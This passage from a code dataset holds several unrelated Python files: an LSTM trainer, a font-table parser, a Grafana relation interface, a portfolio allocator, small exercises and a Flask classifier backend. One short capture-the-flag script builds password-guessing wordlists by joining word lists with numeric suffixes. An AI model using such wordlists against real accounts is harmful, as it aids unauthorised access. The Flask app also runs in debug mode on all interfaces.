inputs_df, target_df = split_data(processed)\n inputs = pd_to_tensor(inputs_df)\n targets = pd_to_tensor(target_df)\n\n # Split validation data, convert to tensors\n validation_inputs_df, validation_target_df = split_data(validation_processed)\n validation_inputs = pd_to_tensor(validation_inputs_df)\n validation_targets = pd_to_tensor(validation_target_df)\n\n # Create train dataset and dataloader\n if config.data.batch_size is not None:\n dataloader_batch_size = validation_dataloader_batch_size = config.data.batch_size\n else:\n dataloader_batch_size = len(dataset)\n validation_dataloader_batch_size = len(validation_dataset)\n\n dataset = TimeSeriesDataset(inputs, targets, window=config.data.sequence_length)\n dataloader = DataLoader(dataset, batch_size=dataloader_batch_size, shuffle=True,\n # Move both training and test data to device, for CUDA training\n collate_fn=lambda x: tuple(x_.to(device) for x_ in default_collate(x))\n )\n\n # Create validation dataset and dataloader\n validation_dataset = TimeSeriesDataset(validation_inputs, validation_targets, window=config.data.sequence_length)\n validation_dataloader = DataLoader(validation_dataset, batch_size=validation_dataloader_batch_size, shuffle=False,\n # Move both training and test data to device, for CUDA training\n collate_fn=lambda x: tuple(x_.to(device) for x_ in default_collate(x))\n )\n\n # Create combined giga-plot, for use later\n fig, axes = plt.subplots(\n nrows=config.training.epochs + 1,\n ncols=1,\n figsize=(20, (config.training.epochs + 1) * 10)\n )\n ax = axes.flat\n\n # Evaluate the first, untrained, model\n model.eval()\n train_losses = [_get_validation_loss(model, dataloader, loss_fn)]\n validation_losses = [_get_validation_loss(model, validation_dataloader, loss_fn)]\n\n # Train model and plot with frequency save_frequency\n for epoch in tqdm(range(1, config.training.epochs + 1), unit=\"epoch\"):\n # Train model\n model.train()\n _train_epoch(model, dataloader, optimizer, loss_fn)\n\n # Save and plot data + save model for every save_frequency epoch\n if epoch % config.training.save_frequency == 0:\n model.eval()\n loss = _get_validation_loss(model, validation_dataloader, loss_fn)\n tqdm.write(f\"Loss epoch {epoch}: \\t {loss}\")\n train_losses.append(_get_validation_loss(model, dataloader, loss_fn))\n validation_losses.append(loss)\n\n plot_validation_prediction(\n model, validation_dataloader, epoch,\n postprocess_target=preprocesser.reverse_y,\n base_save_path=base_save_path\n )\n\n # Add plot to combined plot\n plot_validation_prediction(\n model, validation_dataloader, epoch,\n postprocess_target=preprocesser.reverse_y,\n ax=ax[epoch]\n )\n\n model_savepath = base_save_path / f\"models/LSTM_{epoch}.pt\"\n model.save_model(model_savepath)\n\n # Plot loss data to gigaplot\n plot_loss_data(validation_losses, ax[0], log_y=True, label=\"Validation loss\")\n plot_loss_data(train_losses, ax[0], log_y=True, label=\"Training loss\")\n\n # Plot loss data as own plot, as well\n loss_fig, loss_ax = plt.subplots(1, 1, figsize=(20, 10))\n plot_loss_data(validation_losses, loss_ax, log_y=True, label=\"Validation loss\")\n plot_loss_data(train_losses, loss_ax, log_y=True, label=\"Training loss\")\n _save_losses(validation_losses, base_save_path / \"validation_losses\")\n _save_losses(train_losses, base_save_path / \"train_losses\")\n\n plt.tight_layout()\n fig.savefig(base_save_path / \"LSTM.png\")\n loss_ax.legend()\n loss_fig.savefig(base_save_path / \"loss.png\")\n plt.close(fig)","repo_name":"BollaBerg/IT3030-Deep-learning","sub_path":"Project 3 - Imbalance forecasting/src/train_model.py","file_name":"train_model.py","file_ext":"py","file_size_in_byte":7368,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"41394390925","text":"#!/usr/bin/python3\n# AUTHOR: Mezie Gift\n\"\"\"module prints test with two new line\"\"\"\n\n\ndef text_indentation(text):\n \"\"\"prints a text with 2 new lines after each\n of these characters: ., ? and :\n args:\n test: prints a text.\n Errors:\n text must be a string else a TypeError is raised.\n \"\"\"\n if (not isinstance(text, str)):\n raise TypeError(\"text must be a string\")\n c = 0\n while c < len(text) and text[c] == ' ':\n c += 1\n\n while c < len(text):\n print(text[c], end=\"\")\n if text[c] == \"\\n\" or text[c] in \".?:\":\n if text[c] in \".?:\":\n print(\"\\n\")\n c += 1\n while c < len(text) and text[c] == ' ':\n c += 1\n continue\n c += 1\n","repo_name":"Mezie-Gift/alx-higher_level_programming","sub_path":"0x07-python-test_driven_development/5-text_indentation.py","file_name":"5-text_indentation.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"17886222878","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom nodal.core.nodes import BaseNode\n\n\nclass Plus(BaseNode):\n\n _input_types = {\n -1: {'name': 'value', 'types': [int, float], 'default': 0.0}\n }\n _output_type = {'default': 0.0, 'type': float}\n _max_inputs = -1\n\n def _execute(self):\n self._result = self.value\n for index, input_node in self.inputs.items():\n if input_node:\n self._result += input_node.result\n\n","repo_name":"thimic/nodal","sub_path":"nodal/nodes/plus.py","file_name":"plus.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"73511214233","text":"#!/usr/bin/env python3\n\nimport copy\nimport json\nimport hashlib\nimport logging\nfrom uuid import uuid4\nfrom typing import List\n\nfrom ops.charm import RelationChangedEvent\nfrom ops.framework import (\n StoredState,\n EventBase,\n ObjectEvents,\n EventSource,\n Object)\n\n\nclass GrafanaDashboardEvent(EventBase):\n pass\n\n\nclass GrafanaDashboardEvents(ObjectEvents):\n dash_ready = EventSource(GrafanaDashboardEvent)\n\n\nclass GrafanaDashboardProvides(Object):\n\n on = GrafanaDashboardEvents()\n _stored = StoredState()\n\n def __init__(self, charm: str, relation_name: str) -> None:\n super().__init__(charm, relation_name)\n self.relation_name = relation_name\n self.framework.observe(\n charm.on[self.relation_name].relation_changed,\n self._on_relation_changed)\n\n def _on_relation_changed(self, event: RelationChangedEvent) -> None:\n \"\"\"Handle the relation-changed event.\"\"\"\n self.on.dash_ready.emit()\n\n def get_requests_by_name(self, name: str, relation: str) -> List[str]:\n \"\"\"Get a let of requests on relation matching given name\n\n Check the relation data this unit has set on the given relation,\n for requests which a matching name and return them.\n \"\"\"\n requests = []\n for k, v in relation.data[self.model.unit].items():\n if k.startswith('request'):\n request = json.loads(v)\n if request.get('name') == name:\n requests.append(request)\n return requests\n\n def get_request_key(self, request_id: str) -> str:\n \"\"\"Return the juju relation key for a given request_id\"\"\"\n return 'request_{}'.format(request_id)\n\n def get_request_id(self, name: str, relation: str, digest: str) -> str:\n \"\"\"Return the request id for a request with given name and digest\n\n Look for an existing request which has a matching name and digest, if\n there is one return the request id of that request. If no matching\n request is found then generate a new request id.\n \"\"\"\n logging.debug(\"Checking for existing request for {}\".format(name))\n for request in self.get_requests_by_name(name, relation):\n if request.get('dashboard', {}).get('digest') == digest:\n logging.debug(\"Found existing dashboard request\")\n request_id = request.get('request_id')\n break\n else:\n logging.debug(\"Generating new request_id\")\n request_id = str(uuid4())\n return request_id\n\n def clear_old_requests(self, name: str, relation: str,\n digest: str) -> None:\n \"\"\"Remove requests with matching name but different digest\"\"\"\n old_requests = []\n for request in self.get_requests_by_name(name, relation):\n if request.get('dashboard', {}).get('digest') != digest:\n old_requests.append(request.get('request_id'))\n for request_id in old_requests:\n logging.debug(\"Actually Removing {}\".format(request_id))\n rq_key = self.get_request_key(request_id)\n relation.data[self.model.unit][rq_key] = ''\n\n def register_dashboard(self, name: str, dashboard: str):\n \"\"\"\n Request a dashboard to be imported.\n\n :param name: Name of dashboard. Informational only, so that you can\n tell which dashboard request this was, e.g. to check for success or\n failure.\n :param dashboard: Data structure defining the dashboard. Must be JSON\n serializable. (Note: This should *not* be pre-serialized JSON.)\n \"\"\"\n\n _dashboard = copy.deepcopy(dashboard)\n # In this interface the request id for a job name is preserved.\n if self.dashboard_relation:\n digest = hashlib.md5(\n json.dumps(_dashboard).encode(\"utf8\")).hexdigest()\n _dashboard[\"digest\"] = digest\n _dashboard[\"source_model\"] = self.model.name\n request_id = self.get_request_id(name, self.dashboard_relation,\n _dashboard.get('digest'))\n rq_key = self.get_request_key(request_id)\n self.dashboard_relation.data[self.model.unit][rq_key] = json.dumps(\n {\n 'request_id': request_id,\n 'name': name,\n 'dashboard': _dashboard,\n },\n sort_keys=True)\n self.clear_old_requests(\n name,\n self.dashboard_relation,\n _dashboard.get('digest'))\n\n @property\n def dashboard_relation(self):\n return self.model.get_relation(self.relation_name)\n","repo_name":"openstack/charm-ceph-dashboard","sub_path":"src/interface_grafana_dashboard.py","file_name":"interface_grafana_dashboard.py","file_ext":"py","file_size_in_byte":4732,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"5"} +{"seq_id":"42569872691","text":"\nfrom sys import argv\nimport random\n\nrand = random.SystemRandom()\n\nbranches = []\ngarages = []\ncolors = []\n\n# argv[1] - amount, argv[2] = not active ratio, argv[3] = models path, argv[4] = garages path, argv[5] = branches path, argv[6] = colors path.\n\n\ndef loadModels(path):\n results = []\n modelsCsv = open(path, 'r')\n lines = modelsCsv.readlines()\n for line in lines:\n results.append(line.split(',')[0])\n modelsCsv.close()\n return results\n\n\ndef random_branch():\n return rand.choice(branches)\n\n\ndef random_color():\n rand = random.random()\n for color in colors:\n percent = float(color[2])/100\n if rand < percent:\n return int(color[0])\n else:\n rand -= percent\n return int(colors[0][0])\n\n\ndef random_garage():\n return rand.choice(garages)\n\n\ndef generateData(amount, notActiveRatio, models):\n data = []\n licenseNumbers = random.sample(range(10000000, 99999999), amount)\n\n for x in range(amount):\n licenseNumber = licenseNumbers[x]\n # licenseNumber = x*100-458972 +54784123/((x % 10)+1)*((x % 100/10)+1)\n # while licenseNumber<10000000:\n # licenseNumber*=10\n model = random.choice(models)\n year = random.randint(2017, 2022)\n isActive = random.random() < notActiveRatio\n garage = 'NULL'\n if not isActive:\n garage = random_garage()\n branch_id = random_branch()\n color_id = random_color()\n data.append(\n f\"{x},{int(licenseNumber)},{model},{year},{branch_id},{color_id}\\n\")\n return data\n\n\ndef load_files(branches_path, garages_path, colors_path):\n bfile = open(branches_path)\n blines = bfile.readlines()\n for b in blines:\n branches.append(int(b.split(',')[0][1:-1]))\n bfile.close()\n gfile = open(garages_path, encoding=\"utf-8\")\n glines = gfile.readlines()\n for g in glines:\n garages.append(int(g.split('\\t')[0]))\n gfile.close()\n cfile = open(colors_path)\n clines = cfile.readlines()\n for c in clines:\n colors.append(c.split(','))\n cfile.close()\n\n\ndef __main__():\n models = loadModels(argv[3])\n load_files(argv[5], argv[4],argv[6])\n data = generateData(int(argv[1]), float(argv[2]), models)\n results = open('resultsCars.csv', 'w')\n results.writelines(data)\n results.close()\n\n\n__main__()\n","repo_name":"kremer-ad/DB_PROJ","sub_path":"data generator/generateCars.py","file_name":"generateCars.py","file_ext":"py","file_size_in_byte":2356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"14537508940","text":"import logging\n\n# Other imports\nfrom fontio3.feat import settings\nfrom fontio3.fontdata import simplemeta\n\n# -----------------------------------------------------------------------------\n\n#\n# Classes\n#\n\nclass Feature(object, metaclass=simplemeta.FontDataMetaclass):\n \"\"\"\n Objects representing single features in a 'feat' table. These are simple\n collections of attributes:\n settings A settings.Settings object.\n \n default The default setting value, or None.\n \n nameIndex Index in the 'name' table of the name for this feature.\n \n isExclusive True if the settings are mutually exclusive; False\n otherwise.\n \n >>> _testingValues[0].pprint(editor=_fakeEditor())\n Feature name index: None\n Settings are mutually exclusive: True\n \n >>> _testingValues[1].pprint(editor=_fakeEditor())\n Settings:\n 0: 303 ('Required Ligatures On')\n 2: 304 ('Common Ligatures On')\n Default value: 0\n Feature name index: 308 ('Ligatures')\n Settings are mutually exclusive: False\n \n >>> _testingValues[2].pprint(editor=_fakeEditor())\n Settings:\n 0: 306 ('Regular')\n 1: 307 ('Small Caps')\n Default value: 1\n Feature name index: 309 ('Lettercase')\n Settings are mutually exclusive: True\n \n >>> e = _fakeEditor()\n >>> logger = utilities.makeDoctestLogger(\"val\")\n >>> _testingValues[3].isValid(logger=logger, editor=e)\n val.nameIndex - ERROR - Name table index 340 not present in 'name' table.\n val.settings.[0] - ERROR - Name table index 12 not present in 'name' table.\n val.settings.[1] - ERROR - The name table index 70000 does not fit in 16 bits.\n val.settings.[2] - ERROR - The name table index 'fred' is not a real number.\n val.settings.[5] - ERROR - Name table index 320 not present in 'name' table.\n False\n \"\"\"\n \n #\n # Class definition variables\n #\n \n attrSpec = dict(\n settings = dict(\n attr_followsprotocol = True,\n attr_initfunc = settings.Settings,\n attr_label = \"Settings\",\n attr_showonlyiftrue = True),\n \n default = dict(\n attr_label = \"Default value\",\n attr_showonlyiffunc = (lambda obj: obj is not None)),\n \n nameIndex = dict(\n attr_label = \"Feature name index\",\n attr_renumbernamesdirect = True),\n \n isExclusive = dict(\n attr_initfunc = (lambda: True),\n attr_label = \"Settings are mutually exclusive\"))\n \n attrSorted = ('settings', 'default', 'nameIndex', 'isExclusive')\n \n #\n # Methods\n #\n \n def buildBinary(self, w, **kwArgs):\n \"\"\"\n Adds the binary data for the Feature to the specified LinkedWriter.\n \n >>> w = writer.LinkedWriter()\n >>> baseStake = w.stakeCurrent()\n >>> pool = {}\n >>> d = {\n ... 'baseStake': baseStake,\n ... 'settingPool': pool,\n ... 'featureIndex': 19}\n >>> _testingValues[1].buildBinary(w, **d)\n >>> stake, sett = next(iter(pool.values()))\n >>> sett.buildBinary(w, stakeValue=stake)\n >>> utilities.hexdump(w.binaryString())\n 0 | 0013 0002 0000 000C 0000 0134 0000 012F |...........4.../|\n 10 | 0002 0130 |...0 |\n \n >>> w = writer.LinkedWriter()\n >>> baseStake = w.stakeCurrent()\n >>> pool.clear()\n >>> _testingValues[2].buildBinary(w, **d)\n >>> stake, sett = next(iter(pool.values()))\n >>> sett.buildBinary(w, stakeValue=stake)\n >>> utilities.hexdump(w.binaryString())\n 0 | 0013 0002 0000 000C C001 0135 0000 0132 |...........5...2|\n 10 | 0001 0133 |...3 |\n \"\"\"\n \n settingPool = kwArgs.get('settingPool', {})\n w.add(\"2H\", kwArgs['featureIndex'], len(self.settings))\n immut = self.settings.asImmutable() # immut -> (stake, SettingsObj)\n \n if immut not in settingPool:\n settingPool[immut] = (w.getNewStake(), self.settings)\n \n w.addUnresolvedOffset(\"L\", kwArgs['baseStake'], settingPool[immut][0])\n \n if self.default:\n if self.default not in self.settings:\n raise ValueError(\"Specified default not a valid setting!\")\n \n dflt = sorted(self.settings).index(self.default)\n \n else:\n dflt = 0\n \n flags = (0x8000 if self.isExclusive else 0)\n \n if dflt:\n flags |= (0x4000 + dflt)\n \n w.add(\"2H\", flags, self.nameIndex)\n \n @classmethod\n def fromvalidatedwalker(cls, w, **kwArgs):\n \"\"\"\n Creates and returns a new Feature object from the specified walker,\n doing source validation. This method skips the first two bytes of data\n (the feature type value), since the top-level Feat object will have\n already used it.\n \n >>> w = writer.LinkedWriter()\n >>> baseStake = w.stakeCurrent()\n >>> pool = {}\n >>> d = {\n ... 'baseStake': baseStake,\n ... 'settingPool': pool,\n ... 'featureIndex': 1}\n >>> _testingValues[1].buildBinary(w, **d)\n >>> stake, sett = next(iter(pool.values()))\n >>> sett.buildBinary(w, stakeValue=stake)\n >>> s = w.binaryString()\n >>> logger = utilities.makeDoctestLogger(\"fvw\")\n >>> fvb = Feature.fromvalidatedbytes\n >>> obj = fvb(s, logger=logger)\n fvw.feature - DEBUG - Walker has 20 remaining bytes.\n fvw.feature.settings - DEBUG - Walker has 8 remaining bytes.\n \n >>> fvb(s[:2], logger=logger)\n fvw.feature - DEBUG - Walker has 2 remaining bytes.\n fvw.feature - ERROR - Insufficient bytes.\n \n >>> fvb(s[:-2], logger=logger)\n fvw.feature - DEBUG - Walker has 18 remaining bytes.\n fvw.feature.settings - DEBUG - Walker has 6 remaining bytes.\n fvw.feature.settings - ERROR - Insufficient bytes.\n \"\"\"\n \n logger = kwArgs.pop('logger', logging.getLogger())\n logger = logger.getChild(\"feature\")\n \n logger.debug((\n 'V0001',\n (w.length(),),\n \"Walker has %d remaining bytes.\"))\n \n if w.length() < 12:\n logger.error(('V0004', (), \"Insufficient bytes.\"))\n return None\n \n count, offset, flags, nameIndex = w.unpack(\"2xHL2H\")\n \n if not count:\n logger.error((\n 'V0805',\n (),\n \"The setting count is zero for this feature.\"))\n \n return None\n \n if flags & 0x3F00:\n logger.error((\n 'V0806',\n (),\n \"One or more reserved bits in the feature flags are set.\"))\n \n return None\n \n s = settings.Settings.fromvalidatedwalker(\n w.subWalker(offset),\n count = count,\n logger = logger)\n \n if s is None:\n return None\n \n excl = bool(flags & 0x8000)\n dflt = min(s)\n \n if (flags & 0xC000) == 0xC000:\n dflt = sorted(s)[flags & 0xFF]\n \n elif flags & 0xFF:\n logger.warning((\n 'V0807',\n (flags,),\n \"The flags word 0x%04X has a nonzero value in the low-order \"\n \"eight bits, but the 0xC000 bits are not set. The low-order \"\n \"bits will be ignored.\"))\n \n return cls(s, dflt, nameIndex, excl)\n \n @classmethod\n def fromwalker(cls, w, **kwArgs):\n \"\"\"\n Creates and returns a Feature object from the specified walker. This\n method skips the first two bytes of data (the feature type value),\n since the top-level Feat object will have already used it.\n \n >>> w = writer.LinkedWriter()\n >>> baseStake = w.stakeCurrent()\n >>> pool = {}\n >>> d = {\n ... 'baseStake': baseStake,\n ... 'settingPool': pool,\n ... 'featureIndex': 19}\n >>> _testingValues[1].buildBinary(w, **d)\n >>> stake, sett = next(iter(pool.values()))\n >>> sett.buildBinary(w, stakeValue=stake)\n >>> _testingValues[1] == Feature.frombytes(w.binaryString())\n True\n \n >>> w = writer.LinkedWriter()\n >>> baseStake = w.stakeCurrent()\n >>> pool = {}\n >>> d = {\n ... 'baseStake': baseStake,\n ... 'settingPool': pool,\n ... 'featureIndex': 19}\n >>> _testingValues[2].buildBinary(w, **d)\n >>> stake, sett = next(iter(pool.values()))\n >>> sett.buildBinary(w, stakeValue=stake)\n >>> _testingValues[2] == Feature.frombytes(w.binaryString())\n True\n \"\"\"\n \n count, offset, flags, nameIndex = w.unpack(\"2xHL2H\")\n s = settings.Settings.fromwalker(w.subWalker(offset), count=count)\n excl = bool(flags & 0x8000)\n dflt = min(s)\n \n if (flags & 0xC000) == 0xC000:\n dflt = sorted(s)[flags & 0xFF]\n \n return cls(s, dflt, nameIndex, excl)\n\n# -----------------------------------------------------------------------------\n\n#\n# Test code\n#\n\nif 0:\n def __________________(): pass\n\nif __debug__:\n from fontio3 import utilities\n from fontio3.utilities import writer\n \n def _fakeEditor():\n from fontio3.name import name\n \n _fakeNameTable = {\n (1, 0, 0, 303): \"Required Ligatures On\",\n (1, 0, 0, 304): \"Common Ligatures On\",\n (1, 0, 0, 306): \"Regular\",\n (1, 0, 0, 307): \"Small Caps\",\n (1, 0, 0, 308): \"Ligatures\",\n (1, 0, 0, 309): \"Lettercase\"}\n \n e = utilities.fakeEditor(0x1000)\n e.name = name.Name(_fakeNameTable)\n return e\n \n _sv = settings._testingValues\n \n _testingValues = (\n Feature(),\n Feature(_sv[1], 0, 308, False),\n Feature(_sv[2], 1, 309, True),\n \n # bad values start here\n \n Feature(_sv[3], 1, 340, True))\n \n del _sv\n\ndef _test():\n import doctest\n doctest.testmod()\n\nif __name__ == \"__main__\":\n if __debug__:\n _test()\n","repo_name":"nyxssmith/jenkinsTests","sub_path":"fontio3/fontio3/feat/feature.py","file_name":"feature.py","file_ext":"py","file_size_in_byte":10415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"32250002327","text":"\"\"\"\nConstruct a portfolio based on valuation of a group of instruments.\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nimport logging\nfrom itertools import permutations\n\n\ndef _printLevel(*args, level=logging.INFO):\n \"\"\"\n A wrapper over `print` to support `level` argument.\n \"\"\"\n print(*args)\n\ndef getCorrelationWeight(\n d_instrument_prices,\n price_col='close_adj',\n recent_months=0,\n train_years=10,\n date_end=None,\n with_cash=False,\n cash_name='cash',\n verbose=2,\n printfunc=_printLevel\n) -> dict:\n \"\"\"\n Caculate weight of each instrument based on correlation with other instruments.\n\n Derive weight of each instrument from pair-wise correlation among the instruments.\n More weight will be assign to instrument less correlated to others.\n\n Parameters\n ----------\n d_instrument_prices : dict\n Dictionary with the daily price data of each instrument.\n The keys are the tickers of the instruments, and the values are dataframes with the daily price.\n The dataframe should contain a `date` column and a price column named by `price_col`.\n price_col : str\n The column name in `input_data` to indicate daily price.\n Suggest to use the adjusted price.\n recent_months : int\n Number of recent months, before `date_end`, to exclude from correlation computation.\n train_years : int\n Years of historical data, after excluding `recent_months`, for correlation computation.\n date_end : str (\"yyyy-mm-dd\") | date | None\n The \"current\" date. Data after this date will not be used.\n with_cash : bool\n If True, will allocate fix weight `1 / (n_non_cash_instrument + 1)` to cash, \n and the remaining to the non-cash instruments.\n cash_name : str\n Name of cash to be presented as key in the output dictionary.\n verbose : int\n 2 to print detailed information; 1 to print high-level information; 0 to suppress print.\n printfunc : func\n Function to output messages, which should support the `level` argument.\n\n Returns\n -------\n dict[str : float]\n Weight allocated to each instrument (ticker).\n \"\"\"\n if len(d_instrument_prices) == 0:\n d_weight = {}\n if with_cash:\n d_weight[cash_name] = 1\n return d_weight\n\n if len(d_instrument_prices) == 1:\n d_cor_agg = {t:1 for t in d_instrument_prices}\n\n else:\n\n d_cleaned_prices = {}\n for ticker, df in d_instrument_prices.items():\n df['date'] = pd.to_datetime(df['date'])\n df = df[df[price_col]>0].sort_values('date').reset_index(drop=True)\n\n if date_end is not None:\n date_fit_end = min(pd.to_datetime(date_end), df['date'].max())\n else:\n date_fit_end = df['date'].max()\n date_fit_end = date_fit_end.floor('D') + pd.DateOffset(days=1) - pd.DateOffset(months=recent_months)\n date_fit_start = date_fit_end - pd.DateOffset(years=train_years)\n df = df[(df['date']>=date_fit_start) & (df['date'] 1: printfunc(f\"{ticker}: Selected {len(df)} rows over {df['date'].nunique()} dates from {df['date'].min().date()} to {df['date'].max().date()}.\")\n d_cleaned_prices[ticker] = df\n\n d_cor_detail = {t:{} for t in d_cleaned_prices}\n for ticker1, ticker2 in permutations(d_cleaned_prices, 2):\n df1 = d_cleaned_prices[ticker1].rename(columns={price_col:'price1'})\n df2 = d_cleaned_prices[ticker2].rename(columns={price_col:'price2'})\n df = df1.merge(df2, 'inner', 'date')\n if len(df)>1:\n cor = df['price1'].corr(df['price2'], method='pearson')\n else:\n cor = 1\n\n d_cor_detail[ticker1][ticker2] = cor\n d_cor_detail[ticker2][ticker1] = cor\n\n d_cor_agg = {t:sum([1-v for v in d_cor.values()]) for t, d_cor in d_cor_detail.items()}\n\n total_cor = sum(d_cor_agg.values())\n non_cash_weight = len(d_cor_agg) / (len(d_cor_agg)+1) if with_cash else 1.0\n d_weight = {t : non_cash_weight*v/total_cor for t, v in d_cor_agg.items()}\n\n if with_cash:\n d_weight[cash_name] = 1 / (len(d_cor_agg)+1)\n \n return d_weight\n\n\ndef allocatePortfolio(valuations, transformation='exponential', scale=None, with_cash=False, weights=None) -> np.array:\n \"\"\"\n Determine the portfolio allocation based on valuations of a group of instruments.\n\n Parameters\n ----------\n valuations : single-dimensional array like object\n Valuations of a group of `n` instruments. The valuation should be a representation of \"% over-valued\", \"years over-valued\", etc.\n transformation : str\n Possible values are \"exponential\" or \"sigmoid\".\n \"exponential\" is suggested, because it does not publish over-valued instruments too much, and heavily weights significantly under-valued instruments.\n scale : float\n Larger `scale` gives more weight to more under-valued instruments. Should be a positive value.\n If not provided, will compensate number of instruments `n` as `scale = 2 - 2/n`.\n with_cash : bool\n If True and `scale=None`, will compensate number of instruments (including cash) `n` as `scale = 2 - 2/(n-1)`.\n Use this configuration when one of the instrument is cash.\n weights : single-dimensional array like object\n Weight pre-allocated to each instrument, whose order should be aligned with the values in `valuations`.\n \n Returns\n -------\n numpy.array\n The suggested portfolio allocation.\n \"\"\"\n assert transformation in ['exponential', 'sigmoid'], \"transformation must be 'exponential' or 'sigmoid'.\"\n\n if len(valuations)==0:\n return np.array([])\n\n ar_valuation = np.array(valuations).astype(float)\n if weights is not None:\n ar_weights = np.array(weights).astype(float)\n assert len(valuations)==len(weights), \"valuations and weights should be the same length and in the smae order.\"\n else:\n ar_weights = np.array([1/len(ar_valuation)]*len(ar_valuation))\n \n if scale is None:\n n_instruments = len(ar_valuation) if not with_cash else len(ar_valuation)-1\n if n_instruments > 1:\n scale = 2 - 2 / n_instruments\n else:\n scale = 1\n assert scale > 0, \"scale should be a positive value.\"\n\n if transformation=='exponential':\n ar_transformed = np.exp(- scale * ar_valuation)\n if transformation=='sigmoid':\n ar_transformed = 1 / (1 + np.exp(scale * ar_valuation))\n \n ar_transformed = ar_transformed * ar_weights\n\n ar_portfolio = ar_transformed / np.nansum(ar_transformed)\n\n return ar_portfolio\n","repo_name":"gowestyang/grandma-stock-valuation","sub_path":"grandma_stock_valuation/portfolio_allocator.py","file_name":"portfolio_allocator.py","file_ext":"py","file_size_in_byte":6935,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"5"} +{"seq_id":"1422763152","text":"def main():\n pecas_deixadas = gerar_pecas_deixadas()\n partidas = 10000\n print([jogar_peca(pecas_deixadas, partidas) for _ in range(10)])\n\n\ndef gerar_pecas_deixadas():\n from random import randint\n\n peca_1 = randint(0, 5)\n peca_2 = peca_1\n # As duas peças deixadas devem ser diferentes\n while peca_2 == peca_1:\n peca_2 = randint(0, 5)\n\n return [peca_1, peca_2]\n\n\ndef jogar_peca(pecas, tot_partidas):\n from random import randint\n \n # Quantidade de partidas em que o jogador teve pelo menos uma das duas peças deixadas\n contador = 0\n for _ in range(tot_partidas):\n # Gerar peças do quarto jogador\n pecas_jogador = [randint(0, 5) for _ in range(6)]\n # Se o jogador tiver qualquer uma das peças deixadas, o contador será incrementado\n if (pecas[0] in pecas_jogador) or (pecas[1] in pecas_jogador):\n contador += 1\n \n # Cálculo da probabilidade\n return round(100 * contador / tot_partidas, 2)\n\n\nmain()","repo_name":"JoseRoberto1506/Faculdade","sub_path":"FMSI - 2/simulacao_domino.py","file_name":"simulacao_domino.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"35572412689","text":"# coding:utf-8\nfrom selenium import webdriver\n\n\n\"\"\"\n1.从百度定位到的元素属性中,可以看到有个id属性:id=\"kw\",这里可以通过它的id属性定位到这个元素。\n2.定位到搜索框后,用send_keys()方法,输入文本。\n\"\"\"\ndriver = webdriver.Chrome()\ndriver.get(\"https://www.baidu.com\")\ndriver.find_element_by_id(\"kw\").send_keys(\"Python\")\n\n\n","repo_name":"langlixiaobailongqaq/python-selenium","sub_path":"WebDriverAPI_第二章/2.1_操作元素基本方法/2.2.3_id元素定位.py","file_name":"2.2.3_id元素定位.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"zh","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"7085452658","text":"f1 = open('wl1.txt')\nf2 = open('wl2.txt')\n\nwordlist = []\nf1_words = f1.readlines()\nf2_words = f2.readlines()\n\nfor z in range(100):\n for i in f1_words:\n for j in f2_words:\n wordlist.append(i.strip()+j.strip()+ str(z).zfill(2))\n\nprint(\"\\n\".join(wordlist))","repo_name":"pythonCloudbase/basic_exp","sub_path":"cyberpeacechallenge/combine_word.py","file_name":"combine_word.py","file_ext":"py","file_size_in_byte":275,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"10141647568","text":"import os\nfrom flask import Flask, render_template, request, redirect, url_for, abort, jsonify\nimport numpy as np\nfrom io import BytesIO\nfrom PIL import Image\nimport base64\n\nfrom tensorflow.keras.preprocessing import image\nfrom tensorflow.keras.models import load_model\n\nproject_root = os.path.dirname(__file__)\ntemplate_path = os.path.join(project_root, 'templates')\nstatic_path = os.path.join(project_root, 'static')\nmodel_path = os.path.join(project_root, 'model')\n\napp = Flask(__name__, template_folder=template_path, static_folder=static_path)\napp.secret_key = 'ini kunci rahasia'\n\ntarget_class = ['COVID-19', 'Normal', 'Pneumonia']\nmy_model = load_model(f\"{model_path}/A_model_fold-1.h5\")\n\ndef normalization(image):\n image = ((image - np.min(image)) / (np.max(image) - np.min(image)))\n return image\n\n@app.route('/')\ndef index():\n return \"deep learning\"\n\n@app.route('/service', methods=['GET', 'POST'])\ndef upload_file():\n #get post from api\n content = request.json\n if content['img']:\n #decode\n im_bytes = base64.b64decode(content['img'])\n im_file = BytesIO(im_bytes)\n img = Image.open(im_file).convert('RGB')\n img = img.resize((224,224), Image.NEAREST)\n #convert to array\n img = np.asarray(img)\n img = normalization(img)\n img = img.reshape(1,224,224,3)\n preds = my_model.predict(img)\n i = np.argmax(preds[0])\n\n return jsonify({\n 'status' : 'success',\n 'predicted' : target_class[i],\n 'score' : '{:.2f}'.format(preds[0][i]*100)\n })\n\n return jsonify({\n 'status' : 'failure'\n })\n \nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=7000, debug=True)","repo_name":"faisolarifin/CNN-LSTM_Flask_Web","sub_path":"backend.py","file_name":"backend.py","file_ext":"py","file_size_in_byte":1629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"34494118036","text":"import re\r\n\r\n# with open (\"C:\\\\Users\\\\Bogdan Madalina\\\\Desktop\\\\Python\\\\Advent\\\\day7\\\\test_data.txt\") as input_data:\r\nwith open (\"C:\\\\Users\\\\Bogdan Madalina\\\\Desktop\\\\Python\\\\Advent\\\\day7\\\\input_data.txt\") as input_data:\r\n line_of_interest = []\r\n for line in input_data:\r\n new_line = 